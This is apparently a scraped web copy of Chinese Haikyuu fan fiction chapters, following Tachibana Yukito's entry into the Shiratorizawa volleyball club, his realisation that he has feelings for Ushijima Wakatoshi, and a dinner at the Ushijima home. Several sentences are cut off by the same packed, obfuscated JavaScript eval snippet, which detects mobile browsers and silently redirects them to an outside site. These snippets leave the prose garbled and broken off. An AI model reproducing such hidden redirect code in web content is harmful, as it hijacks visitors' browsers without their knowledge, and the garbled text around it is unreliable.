“嚯,我说怎么最近都这么积极地自主练习,不到上课铃响都不回教室了。”鹫匠教练随意看了一圈,就连三年级的学生都战战兢兢地立正站好。 他的视线落到排球场上。 立花雪兔还毫无所觉,仍然在托着球,五色工也仍然在喊着“再来一个!”,二人的T恤都被汗水浸湿了。 “小雪兔!”天童觉偷偷叫他们。 鹫匠教练回头看了他一眼。 天童觉环顾左右,假装不是自己喊的。 埋头于练习的一年级生们终于发觉场外安静得不像话,立花雪兔奇怪地转身一看,吓了一跳。 “鹫匠教练,我……”立花雪兔悻悻地说。 “抱歉!鹫匠教练,是我拜托他帮忙托球的!”五色工立刻鞠躬。 立花雪兔也赶紧跟着鞠躬,虽然不知道为什么,总之这里是日本,先鞠躬就对了。 “汗都打湿衣服了。”鹫匠教练竟然没有追究,反而没头没尾地来了一句,“去换了吧。” 五色工和立花雪兔:“啊?好的。” 接着,斋藤教练和经理搬着一个纸箱,也进来了。 “啊,新生都在啊,正好。”斋藤教练笑着说,“过来看看吧。” 五色工:“难道是——?!” “就是你说的‘难道是’。”斋藤教练打开纸箱,“你们的新队服到了。” 五色工和其余几个一年级生一蹦三尺高。 “呜呜呜,背番号,我竟然有背番号——”五色工抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380216|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着印有“8”的队服,眼睛变成了两只流泪的荷包蛋。 “我没有,呜呜呜,我没有——”寒江河勇将和赤仓櫂也抱头痛哭。 立花雪兔站得离他们有些远,望着五色工,笑了。 他比任何人都知道五色工的努力,那笑容既是为他开心,也有一丝落寞。 “还站在这里干什么?”鹫匠教练问他,“你不过去看看吗?” “诶?”立花雪兔愣了,“有、有、有我的吗?” “我可说不准。”鹫匠教练哼了一声,“也许有多的吧。” 立花雪兔足足反应了五秒钟,才意识到这句话是什么意思。 他冲过去,斋藤教练笑眯眯地把最后一件队服递给他。 “来,立花同学,你的。” ——16号。 “呜呜呜哇哇哇!!!” 立花雪兔抱着紫白相间的崭新队服,比五色工哭得还要大声。 “可、可是,”立花雪兔上气不接下气地问,“入部申请不是早就截止了吗?” “对啊。”斋藤教练说,“但鹫匠教练也早就把你的申请提交了。” 立花雪兔哭得更大声了。 “真没出息。”鹫匠教练略带嫌弃地说。 立花雪兔哭得一脸邋遢,抹了一把眼泪,坚定地看着他。 鹫匠教练察觉到一丝不对劲:“喂,你这小子,想要干什——” 立花雪兔扑向小个子的老头。 喀啦一声。 斋藤教练:“不好!救救鹫匠教练!” 鹫匠教练:“现在!现在就去把他的入部申请撤回来!” “哈哈哈哈已经太迟啦!!!” 立花雪兔像个大只的北极兔,一溜烟就跑远了。 “恭喜啊,小雪兔。”天童觉一副果不其然的表情。 立花雪兔开心得疯了,见人就扑,三年级、二年级的前辈和同级生被他抱了个遍,大家也纷纷说着恭喜,这时候牛岛若利终于从淋浴间回到了排球场。 牛岛若利远远地望着他,同样没有任何惊讶,似乎还带着一丝淡淡的笑意。 立花雪兔松开了五色工。 最想抱的是这一个。 为了抱他,连鹫匠教练都不要命地扑了。 牛岛若利朝他张开了双臂,微微歪头,好像在问,“不到我这里来吗?” 于是立花雪兔也笑了,助跑了大半个球场,跳起来扑向他。 依旧是携着橙花香味的一阵风。 牛岛若利一只手就能环住他的腰,他太瘦了,其实磕在怀里有点痛。 但是很开心,牛岛若利更用力地抱住他,心想,为什么自己也会这么开心呢。 “若利!”立花雪兔的双眼亮晶晶的。 “嗯,我知道。”牛岛若利说,“你非常努力了,恭喜你。” * “所以呢,秘密是什么?”回教室的路上,天童觉问。 “我对鹫匠教练说,他其实比任何人都更认真地对待排球,鹫匠教练不相信,于是我和他打了个赌。”牛岛若利说,“如果雪兔直到周五都没有去别的社团,坚持来排球部自主练习,鹫匠教练就同意他加入。” “那如果你输了怎么办?外面可是有大把社团在抢小雪兔啊。” “我不会输的。”橙花的香味仿佛还隐隐萦绕在鼻尖,牛岛若利带上了一丝不自觉的淡淡笑意,“他自己也向鹫匠教练证明了那一点。” 8. 落樱的河川与回家路 “今天周五,若利你回家吗?” 训练结束之后,立花雪兔晃到牛岛若利身边,问。 “回。” “要一起走吗?” “好。”牛岛若利说,“但我要先回寝室收拾一下东西。” 住校生难得的周五,男生们的寝室楼大门保持打开,方便大家拿着行李进进出出。立花雪兔站在楼前的山樱树下等牛岛若利,忽然有消息来了。 巧克力甜筒: 【抬头!】 立花雪兔:“?” 他不明所以地抬头,过了一会儿,天童觉的消息又来了。 巧克力甜筒: 【[图片]】 【嘿嘿怎么样,我的拍照技术还不错吧,Yukito大人要不要请我当摄影师啊?】 那张照片确实拍得很好,从二楼看去,立花雪兔穿着制服站在山樱树下,抬头的一瞬间有花瓣从额前飘落,恰好被镜头捕捉到。 狂乱木曜日: 【觉前辈,你知道我的账号啊?!】 巧克力甜筒: 【当然啦,百万粉丝博主~】 【不过,你站在这里干嘛,等若利吗?】 狂乱木曜日: 【是嘟ヽ(;▽;)ノ】 巧克力甜筒: 【我帮你去隔壁催一下他!】 过了会儿,天童觉就搭着牛岛若利的肩膀从寝室楼走出来了。也不知道从什么时候开始,天童觉看见立花雪兔就忍不住挠他腰上的痒痒肉,立花雪兔又特别怕痒,蜷缩成一团,眼泪都飚出来了。 “停下啊觉前辈!你再挠我就要还手了!” “还手?你还啊?” 立花雪兔往手上呵气,对着天童觉的腰一顿乱戳。 天童觉完全不怕痒。 “呃啊!太过分了!” “你还完了吗?嘿嘿又轮到我了哦!” 立花雪兔实在走投无路,只能往牛岛若利背后躲,天童觉又去抓他,两个人就围着牛岛若利绕柱式躲猫猫。 牛岛·柱·若利严肃的表情:( ˙︿˙ ) 被绕了三圈之后,他一手逮住一个,说: “回家了。” “哼哼,幼驯染,真是让人嫉妒啊。”走到学校门口,天童觉做了个鬼脸,朝他们挥挥手,就往另一个方向了。 立花雪兔也朝他挥手,接着问牛岛若利:“要去乘电车吗?” “你都是这样上下学的吗?”牛岛若利看着他在自己身边有一下没一下地慢悠悠地踩着滑板,问。 “对啊,我感觉比挤电车好一点。” “那就一起走回去吧。”牛岛若利说。 “耶!” 白鸟泽学园离他们家并不远,步道的两边开满了染井吉野樱,如雪一般纷纷飘落在二人的发梢和肩上。 街边的店铺,门口的风铃轻轻摇晃,伴随着二人有一搭没一搭聊天的声音,像一阵寂寞的雨。 “好像电影啊——”立花雪兔感慨,把刚刚拍的照片给牛岛若利看。 “很漂亮。”牛岛若利忽然问,“你和天童关系很好?” 立花雪兔正在把照片发在Ins上,打了一颗粉色爱心的emoji,编辑文案: 「バレーボール部のこの日」 (排球部的这一天) “……诶?”他没抬头,问,“怎么忽然这么说?非要说的话,若利你和觉前辈的关系才很好吧。” “是还不错。” “也许是因为你的关系,觉前辈才会跟我玩的?”立花雪兔想了想,笑了,“虽然觉前辈总是欺负我,但他其实很通人性的。” 城市另一端的电车上,“通人性的”天童觉打了个喷嚏。 呜哇,不会感冒了吧,他想。 立花雪兔一边低头敲手机一边踩滑板,牛岛若利就抓住了他的手腕,怕他撞到人或摔倒。但步道上的行人不多,他们的速度也不快,所以他担心的事情并没有发生。 牛岛若利看着踩着滑板的立花雪兔,想起了第一次见到他的时候。 八岁的夏天,立花薰子推着轮椅来到牛岛家的庭院,轮椅上坐着一个小小的、雪团一样的孩子。 “崇先生,我家的孩子要拜托您了。” “来吧,”爸爸笑着鼓励那小小的雪团子,“来,勇敢点,走到叔叔这里来。” 六岁的立花雪兔吸了吸鼻子,走下轮椅。 那时候抱着排球站在旁边的牛岛若利,并不能想象到那是怎样的一种疼痛。 他只知道见到立花雪兔的第一天,他摔倒在自己的怀里,接着就哭了。 回忆里的孩子渐渐与眼前这活泼的、蹦蹦跳跳的少年重合。 花瓣落在他银白色的发梢上。牛岛若利怔怔地看着,忍不住伸手摘下了那枚和粉色爱心的emoji一样的花瓣。 在我看不见你的时候,你也健康地长大了。 “对了对了,难得今天你在家,等下吃完饭之后有什么安排吗?”立花雪兔新发的post收获了一堆秒赞和夸夸的评论,虽然其中还有一条五色工的「はぁ?」[1]。他选择性地无视了,十分得意地收起了手机,探着脑袋问牛岛若利。 立花家的规矩十分严格,立花雪兔每天吃完晚饭之后就回房间写作业,写完之后想在庭院里打会儿排球滑会儿滑板也会被骂,只能天天在房间里看动画片或打逆转裁判,快无聊死了。 但是牛岛若利在家,就可以去找他玩了! “饭后休息一小时,去跑十公里。”牛岛若利说,“你要来吗?” “呃啊——有没有别的选项?”立花雪兔忽然想到,“啊!我知道了!我带你去看Block吧!” “Block是?” “我捡到的小猫,呃不对,应该是把我捡到的小猫。”立花雪兔说,“它住院了,我等会儿从家里偷点猫条给他带过去。怎么样,一起去吧?若利可以跑步过去,我就滑滑板了。” 一只叫拦网的小猫。 牛岛若利点点头,对这项提议表示同意。 快到家门口的时候,一辆红色的雷克萨斯LS缓缓从他们身边经过,按了两下喇叭。 “若利。”驾驶座上,闷青色长卷发的女人招呼了一句,又稍稍低头,把墨镜推下了一些,疑惑地打量着立花雪兔。 立花雪兔也在飞快地检索着自己的记忆。 “凛华阿姨!”他比女人更快回忆起来,笑着说,“我是立花家的雪兔呀!” “雪兔,好久不见了,你什么时候回来的啊?”牛岛凛华问。 “就一周前,开学的时候回来的。” “怪不得,我出差了两周,也是刚刚才回来。”牛岛凛华说,“今天是来不及准备了,明天要不要来我家吃饭啊?” “诶?”立花雪兔回头看着牛岛若利。 牛岛若利点头:“来吧。” “我要和外公说了才行。”立花雪兔推门进了自家的庭院,“等会儿再来找你玩!拜拜凛华阿姨,拜拜若利!” “拜拜。” 牛岛若利坐在长廊前认真地解鞋带,等妈妈停好了车,才一起进了家里。 “有开心的事情吗?若利。” “嗯。”他淡淡地说。 “是吗。”牛岛凛华笑了,拍了拍他的肩膀,“开心就好。走,去吃饭吧。” * 宠物医院里,千夏学姐和她的朋友们也在。女孩子们围着Block的笼子摸它的脑袋和打了石膏的腿,Block则因为被嘎了蛋而有点恹恹的。 “哎呀,我的猫条来晚了。”立花雪兔说。 千夏等人回头,看见穿着一套雪白运动服的立花雪兔,旁边还站着一个熟悉的高大身影。 “牛岛前辈?!” “骗人的吧,是排球部的牛岛君吗?!” “怪不得立花学弟不来演剧部,原来是去排球部了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380217|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原来是输给排球部了,那就没办法了……” “诶,”立花雪兔用胳膊肘撞了撞牛岛若利,揶揄地问,“你竟然是名人吗?” 牛岛若利的表情微微茫然:“?” “你在说什么啊,超级——大名人好不好!” “就算你是立花学弟,也给我好好对待白鸟泽的王牌啊!” “抱歉抱歉,我会注意的。”立花雪兔双手合十,笑得双眼弯弯。 他都能想象到,牛岛若利肯定被很多人偷偷暗恋着。从初中开始,每一次打比赛的时候,也肯定都有很多人为他加油呐喊。 但是那些时刻,他全然错过了。不知道为什么,想到这里,心里会有一点难过。 千夏学姐她们先走了,走的时候,还不断地回头偷偷看他们。 “好帅啊。” “从来没有这么近地看过,都是远远地在排球场上看见的。” “近看比远看更帅。” “同意。” “相比之下立花学弟完全就是小白脸呢,虽然也很帅。” “我懂我懂,就只是帅气的小朋友,不太够看。” 我都听得清清楚楚啊。立花雪兔暗暗吐槽。 不过夸的是若利就算了,就算你们也很有眼光。 牛岛若利双手插在兜里,看着立花雪兔微微蹲下,给Block喂猫条。这些天来,它已经被立花雪兔喂得很熟了。 “你要摸摸它吗?”立花雪兔转头,“虽然是流浪猫,但也很漂亮呢,对吧?” 牛岛若利蹲下看着Block,试着伸手去摸。狸花猫的尾巴尖变成一个小钩子,很快从他的掌心里逃走了。 “你想养它吗?” “想是想,但没办法啦,外公不会同意的。” “妈妈经常出差,我住在宿舍,也没办法养。” 立花雪兔又看了他一眼,惊讶于他竟然真的在考虑帮自己养猫这件事。 但是没有办法。有些事情即使考虑了,也没有办法。 走在回家的路上,夜樱在路灯下如雪纷纷,立花雪兔伸手接住飘零的花瓣,又松手任它落在河川中。 “就会觉得,世界很大很大,想要的东西很多。”他轻轻地说,“但我又很弱小,能抓住的部分很少。” 牛岛若利转头看着他。 河川上的步道行人纷纷,大家都趁着周末来看夜樱纷飞的景色。立花雪兔被人撞到好几次,第三次的时候,牛岛若利伸手把他揽在了怀里。 二人之间的距离一瞬间变得极近。 立花雪兔抬头看着他近在咫尺的侧脸,忽然听见自己剧烈的心跳。 就像第一次踏入白鸟泽排球馆听见的,球砸在枫木地板上的声音。 没错,就是从那一天开始。 “你才十六岁。”牛岛若利认真地看着他,“你会慢慢长大,并且变得强大。” “我……” 会吗?立花雪兔心说。 立花雪兔有一瞬间的恍惚,忽然觉得他仿佛就是为了这一刻,为了这一句话,为了这一个怀抱,为了和这一个人走在落樱纷飞的河川上。 才经历了所有的事情。所有痛苦的,流着眼泪的,不堪回首的。 他突然意识到这是什么。 ——喜欢。 真的吗? 我喜欢着眼前的这个人吗? 立花雪兔在心里试着把旁边的人换掉。 先换成了千夏学姐,没什么特别的感觉。 是性别不对吗?再换成五色工。 聒噪的妹妹头,没感觉。换成天童觉呢? 呃,除了痒痒肉已经开始痛起来了,也没有别的感觉。 是的,只有若利。 他喜欢牛岛若利。 “怎么了?”牛岛若利问,“忽然这样看着我。” “若利。”立花雪兔笑眼弯弯地喊他的名字,“我刚刚发现一件不得了的事情。” 9. 无限远点的红鸾星 “我刚刚发现一件不得了的事情。” “是吗?”牛岛若利望着他的眼睛,“要告诉我吗?” “我考虑一下——呃啊!” 话音未落,立花雪兔迎面就撞上一个筋肉强壮、凶巴巴的黑色刺刺头。 立花雪兔:“!” 呜哇!被他瞪了! 立花雪兔默念我不怕你我不怕你虽然你很壮但我可是带着一米九八十公斤的幼驯染呢打狗也要看…… “哈?你这家伙怎么会在这里?”黑色刺刺头说。 立花雪兔茫然:我吗(˙-˙)? “岩泉,”牛岛若利朝他点头,又对旁边穿着Burberry风衣棕发帅哥说,“还有及川。你们怎么在这里?” 立花雪兔:哦不是我(˙-˙)。 “这里是青叶区!我们为什么不能在这里?”及川彻不爽地说,“你才是为什么会在这里?哈?总不能是来看樱花的吧。” 牛岛若利没什么表情地点头:“嗯。” 及川彻大惊:“真的假的?他还会看樱花?” 岩泉一大惊:“而且他今天也不叫你去白鸟泽了。” 立花雪兔弱弱地开口:“呃……” “这是青叶城西三年级的二传及川彻,以及副攻手岩泉一。”牛岛若利认真地向他介绍,“之后在IH的县预选赛里,有可能会碰上他们。” “哦哦。”立花雪兔乖乖地向前辈们打招呼,“及川前辈、岩泉前辈,我是白鸟泽的一年级新生立花雪兔,位置也是二传。” “那我们就先走了。”牛岛若利说,“好好享受最后一年的IH吧,希望你们能坚持到县决赛。” ——然后被白鸟泽打败。 和牛岛若利当了六年宿敌的及川彻怎么可能听不懂他的言下之意。 及川彻嘴角抽搐:“呵呵呵呵,真敢说啊。” 岩泉一更是黑脸:“还以为你转性了,没想到比之前更让人不爽了。” 立花雪兔对宫城县内的这些恩恩怨怨一无所知,当即被面前这两人,好吧主要是被岩泉一吓坏了,心说我们不会在这里被打吧,这位黑色刺刺头看起来就超会打人的……他赶紧扯了扯牛岛若利的袖子:“你怎么这样说话……” “怎么了?”牛岛若利问。 唉,你,唉,我,算了。 “抱歉啊,”立花雪兔只好对青叶城西的二人组说,“若利他有时候说话就是这样的,请不要介意……” “为什么要道歉?”牛岛若利竟然还认真地给他解释,“你可能还不知道,宫城县能去全国的只有一个名额。” 啊啊啊不管有几个名额你都不要再说了啊!!! 立花雪兔疯狂向拳头硬了的岩泉一小声道歉。 “Iwa酱,好啦,算了。”及川彻对牛岛若利说,“看在你身边的小家伙还挺可爱的份上,及川大人今天就不和你一般见识了。” 牛岛若利:“?” 立花雪兔松了一口气。 接着,他感到一只大手用力地揉了揉他的头顶。 那张帅而自知的脸突然凑得很近,笑着对他说:“白鸟泽新来的二传啊?我也期待在赛场上遇到你。” “但你应该只能遇到白布前辈,还有濑见前辈。”立花雪兔老老实实地说,“鹫匠教练恐怕还不会让我上场。” “这样吗。”及川彻凑得更近了,又低声问,“你叫他们都是‘前辈’,为什么叫那家伙是‘若利’?” “我和他姑且、大概、可能可以说是……”立花雪兔歪着脑袋,“幼驯染?” 及川彻:“?” “喂,走了,垃圾川。” “我们走吧,雪兔。” 岩泉一和牛岛若利同时说。 及川彻还在震撼中,就被岩泉一拉走了。 二人谈话的声音断断续续地飘荡在河川之上。 岩泉一:“你怎么了啊?刚刚和那白鸟泽的二传小子说什么了?” 及川彻:“Iwa酱你先别过来。” 岩泉一:“快说!到底怎么了!” 及川彻:“牛岛若利竟然也有幼驯染……” 及川彻:“我现在看到你也有点不爽了。” 岩泉一:“我看你是找死。” 牛岛若利盯着立花雪兔。 立花雪兔:“?” 牛岛若利仍然盯着立花雪兔。 立花雪兔:“有话就说。” “及川刚刚为什么说你可爱?” 他看起来像是真的不理解。 “……”立花雪兔真的有点不爽了。 这张脸啊,他的这张脸。 几个社团抢得差点打起来了的脸,120万粉丝的脸。 再怎么排球脑袋,也该对基本的美丑有个分辨吧?! “喂,若利。”立花雪兔三两步跳到路沿的台阶上,一双琥珀色的眼眸忽然凑近了牛岛若利。 那张脸在牛岛若利面前骤然放大。 东方特质的面孔,没有任何凛冽的线条,整张脸都是由浅色和柔软的弧度组成的,皮肤白皙而隐隐透着绯红,亮晶晶的圆眼睛,翘而精致的鼻子,嘴角总是噙着笑,让人很容易联想到春天、樱花,以及无害的小动物。 “我不可爱吗?”立花雪兔定定地望着他。 这时候,小动物稍微显露出一些侵略性了。 绮丽的侵略性,或者说,恃靓行凶。似乎但凡牛岛若利敢说出否定的句子,他就会变得气鼓鼓、毛茸茸的。 牛岛若利:“……” 他的眼睑上有一颗浅红色的细痣,不知道他知不知道。牛岛若利忽然想。 会随着他摇头晃脑地说话、笑,抬眸或垂眸而若隐若现。 牛岛若利每次低头看向立花雪兔的时候,目光总是不自觉地被那一颗细痣吸引,而忽略了整张脸。 ……非要说的话。 牛岛若利最初只觉得那一颗细痣很可爱。 所以在大家的评价标准中,这整张脸、乃至于他整个人,都是很可爱的吗? 立花雪兔等了半天,率先放弃了。 “唉,算了。”他气呼呼地跳下台阶,“回家吧。” 牛岛若利大步追上他。 他低着头,气鼓鼓地踩着路面上砖石的花纹。这时候又能看见那颗细痣了,如红鸾星一般闪烁。 “嗯,很可爱。”牛岛若利忽然淡淡地笑了。 “哼,现在才想安慰我?已经晚了。” “真的很可爱。” “……” * 为什么偏偏是超级排球大笨蛋牛岛若利!!! 从发现自己的心意到被牛岛若利的迟钝痛击,前前后后仅有十分钟。 立花雪兔裹着被子在床上大翻滚。 啊啊啊为什么!为什么!为什么偏偏喜欢他啊?! 立花雪兔坚信,只要自己站在教学楼顶往外喊一声,想要和他交往的男男女女都能排队绕白鸟泽学园一圈,一天交往一个365天都不带重样的。 其中唯独不会包括牛岛若利。 他只会暗暗奇怪,为什么今天人这么多,都堵住他去排球馆的路了。 立花雪兔不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380218|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到了那部经典爱情悲剧中流传千古的台词: 「噢,罗密欧!为什么你偏偏是罗密欧呢?」 前天才刚刚共情完林黛玉,今天又在共情朱丽叶。立花雪兔简直想笑,心说老天奶啊我再也不会把你当成我奶奶,你根本就把我当日本人整——好吧,虽然我现在确实是日本人。 立花雪兔化悲愤为阅读,趴在被窝里通宵怒看《BLEACH》,从黑崎一护斩蓝染,看到了友哈巴赫带着无形帝国杀上瀞灵廷,直接把自己的爱情忘了个干净。 所以第二天,立花雪兔补觉补得昏昏兮不辨日月,对牛岛若利出现在自己家里表示茫然。 “怎么了?”他眨巴眨巴眼睛。 “吃饭。”牛岛若利也眨眨眼睛,“不记得了?” 呃…… 「今天是来不及准备了,明天要不要来我家吃饭啊?」 ——by牛岛凛华 立花雪兔:“!!!” “完了我忘了个干净……”他一脸哭唧唧地,“我没有跟外公说,怎么办啊?” “没关系,是晚饭。” “你帮我跟他说你帮我跟他说。”立花雪兔仿佛找到救星,推着牛岛若利的背,把他推到了立花浩介的书房。 立花浩介穿着羽织,站在案前,正在写书法。 他的书房是一间传统的和室,庭院中的天光透过唐纸障子门,将铺着榻榻米的书房笼罩得静寂而幽玄。壁龛上挂着伊藤若冲画的的白孔雀挂轴,其下的白瓷瓶中,则插着一枝剑兰花。 立花雪兔都不记得上一次来这里是什么时候了,连外婆都不能随意进出的书房,他更是敬而远之。 牛岛若利轻轻推开障子门,熟练地朝立花浩介行入门礼。立花雪兔啥也不懂,跟在他身后有样学样,却一头撞在了门上。 立花浩介:“……” “是若利啊,”立花浩介选择性无视了某个笨蛋,“进来吧。” 他和牛岛若利寒暄了一会儿,立花雪兔躲在他背后左看看右看看,忽然注意到那幅古董挂轴上,有小孩子用蜡笔乱画的涂鸦。 那孩子大概是想临摹白孔雀,但无奈技术有限,只画出了一只鸡。 立花雪兔瞳孔地震。 这个家里还住过哪个孩子?! 不会是我吧?! 不,等等,狭隘了,有可能是舅舅,也有可能是妈妈……不,以妈妈的技术,还是能画出孔雀的,那就是舅舅了……不过考虑到这间家邸的年纪,是外公自己小时候画的也说不定…… “怎么了?”立花浩介看见他的目光,哼了一声,“看见你自己的‘杰作’了?” 立花雪兔:“………………” 还真是我啊?! 完了。又要挨骂了。 今天就不该进这间书房! 立花雪兔直往救星的背后躲。 牛岛·救星·若利努力挡住身后的倒霉蛋,向立花浩介说清楚了来意。 “写完作业就可以去。”立花浩介好歹给了牛岛家的面子。 立花雪兔松了口气。 “吃完饭就回来,不要在外面乱跑,听见没有。” “嗯嗯。”立花雪兔下意识地答应,反应过来又从牛岛若利背后探出个脑袋,讨价还价,“不乱跑,在若利家玩一会儿,可以吗?” 牛岛若利规规矩矩地端坐,望着立花浩介。 “好吧。”立花浩介叹了口气,“九点之前回家。” “耶!” “……” “……万分感谢您。”立花雪兔端正地伏在榻榻米上行礼。 10. 牛岛家今天的饭 立花薰子去书房找丈夫的时候,立花浩介正背对着障子门,看着古董挂轴上的蜡笔小鸡发呆。 “吃饭了,老头子,今天晚上只有我们俩吃饭哦。”立花薰子忍不住笑了,“怎么啦,又在看小画家六岁时候的大作呀?” 立花浩介冷哼一声:“这是伊藤若冲的真迹,实在可惜了。” “浩介,你那时候可不是这样的啊。”立花薰子也走到挂轴前,温柔地望着那一只拙劣的小鸡,“你一点也没生气,还说那孩子像他妈妈,以后也能当大画家呢。现在却成天凶巴巴的,为什么总跟雪兔置气?” “……”立花浩介嘴硬道,“小时候还能说是可爱,现在吵闹又没礼貌,只能说是没教养,看了实在令人恼火。你不知道他刚刚进书房是什么样子,我都不想说他!他的父亲都不教育孩子的吗?今天晚上他不在家,家里清净多了。” “明明是寂寞多了吧?”立花薰子笑道,“啊呀,那孩子以后还要去念大学的,真不知道你到时候会难过成什么样子啊。” “我巴不得他赶紧去念大学……” “浩介,你都一把年纪了,也该坦率一点了啊。” “胡说!” * 立花雪兔并不知道书房里围绕着他曾经的“大作”有一场怎样的谈话,他只是一味地埋头奋笔疾书,在日落前成功地在家门口等他的牛岛若利碰面了。 “我写完了!”立花雪兔得意洋洋地说。 “嗯。”牛岛若利点头,“一直都没问你,回来之后学习跟得上吗?” “小看我?除了国语有点磕磕绊绊,我每一门科目都很好的。”立花雪兔摇头晃脑地说,“不谈学习了,今天晚上吃什么啊?” “好像是寿喜烧。” “耶!” 立花雪兔踩着庭院苔藓上铺的飞石,茜色的夕阳照着二人的影子,像是两枚音符。 他就这样蹦蹦跳跳,像某只蓝色刘海小猫一样哼着歌儿: “su·ki·ya·ki……”[1] 牛岛若利走在他身后,看着地上摇摇晃晃的影子,也不自觉地带上了淡淡的笑意。 “凛华阿姨!晚上好!” 立花雪兔大声地打招呼。 牛岛凛华正倚在窗台上抽一支细细的女士香烟,看见立花雪兔和自家儿子一前一后地进了门,便把烟灭了,顺手从桌上拿了一瓶Tom Ford的Oud Wood喷了两下。 乌木沉重的气味霎时侵略了整个空间,弥漫开来之后,又隐约散出了豆蔻和琥珀的甜味。 “来了啊。”她对立花雪兔笑了笑,“若利也真是的,我说立花家就在隔壁,两步路也能走丢了不成?他非要去接你。” “……妈妈。” “好好,不说你了。走吧,带雪兔去餐厅吧。” “呜哇——!!!” 立花雪兔大叫,两只眼睛变成流泪的荷包蛋。他扑过去抱住牛岛凛华,还像小时候一样在她怀里蹭来蹭去。 牛岛凛华不太会做饭。 所以她是从高级料亭叫了外派厨师,带着A5霜降牛肉和当季蔬菜等食材上门准备。同时,考虑到小朋友的口味,她还订了披萨外卖,一个满满芝士的经典意式肉酱,一个照烧牛肉烤鳗鱼,配上蜂蜜芥末酱的炸鸡、洋葱圈、蛋挞、凤尾虾和薯条,琳琅地摆了一整张餐桌。 “凛华阿姨!我要当你家的小孩!!!” 来到立花家之后跟着外公外婆天天吃清淡食物的立花雪兔,流下了感动的口水。 “你太夸张了吧。”牛岛凛华哭笑不得,“立花老爷子听了可要伤心了。” “哼哼,外公他才不会呢——” 牛岛若利已经在餐桌前坐下,一丝不苟地用热毛巾擦了手。 立花雪兔乖乖地摊开双手,接过牛岛若利递给自己的毛巾。那双手上满是铅笔灰、墨迹和算盘的猫毛,连立花雪兔自己看了都不好意思,怎么会这么脏兮兮的。 还好这是在牛岛家,并不会有人像外公那样凶他。 我吃吃吃吃吃吃—— 立花雪兔简直是怀着这辈子都吃不到下一顿的心情吃这一顿饭的。 一口披萨一口炸鸡一口可乐。 芝士就是力量! 吃腻了就来一口裹着生鸡蛋液的顶级牛肉。 蔬菜是什么? 牛岛凛华晚上吃得很少,她自己倒了一杯清酒,一边浅酌,一边看着认认真真细嚼慢咽的牛岛若利和风卷残云狼吞虎咽的立花雪兔。 这两个性格迥异的孩子,坐在一起却显得很和谐,像是刚刚好能弥补对方缺失的那部分。她露出了一个淡淡的笑。 不知道若利自己发现没有,隔壁家的孩子回来之后,他总是很开心。牛岛凛华忽然想。 “对了,还没问你,怎么回来了?”牛岛凛华对立花雪兔说。 牛岛若利正吃着牛肉盖饭,顿了顿,抬头看着她。 “……我猜肯定有人很想知道,但是一直都没问你吧。”牛岛凛华又说。 很想知道的牛岛若利:( ˙︿˙ ) 那次他和天童觉触及了这一个问题,即使是他也能明显感到立花雪兔的低落,以及天童觉在察觉之后细心的回避。 牛岛若利生活在极度宽宏而自由的世界里,一定有人会觉得他居高临下、口无遮拦而性格恶劣,但他都从未在意。第一次,他也有未能问出去的问题。 “哦,没什么,我爸妈离婚了,我跟妈妈。”立花雪兔拨弄着盘子里的食物,状似不经意地说,“但她又嫁给了一个法国人,我说我不想去法国,她就让我回日本。” “法国。”牛岛凛华问,“巴黎?” “不,尼斯。”立花雪兔摇摇头,“在法国南部,地中海边上的一个城市。” “啊,我知道,很多人会去尼斯度假,我都还没去过呢。”牛岛凛华笑了笑,看着立花雪兔,想到了很遥远的事,“……我和真琴像你这么大的时候,有一天她问我,你会继承家业吗?我说当然会啊,你不吗?她说,仙台太小了,我以后一定会离开这里,到更大的世界去。” 牛岛凛华想,你确实去了很多我永远都去不到的地方,真琴。 在她们的少女时代,一起推着脚踏车,聊着天从夕阳下的广濑川堤上走回家,已经遥远得好似一场朦胧的幻梦了。 而兜兜转转,二十年后,她们的孩子竟然又在一起,像她们曾经那样,肩并肩走过广濑桥。 “……虽然这样说,但是为了别的男人把孩子丢在老家,也太不负责任了一点。” “妈妈就是这样的性格啊。” “确实是像真琴会做出来的事啊。”牛岛凛华忽然问,“你会怪她吗?雪兔。” 她的声音很轻,在问立花雪兔的同时,却望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380219|168436||http|test|mini|href|location''.split(''|''),0,{})); 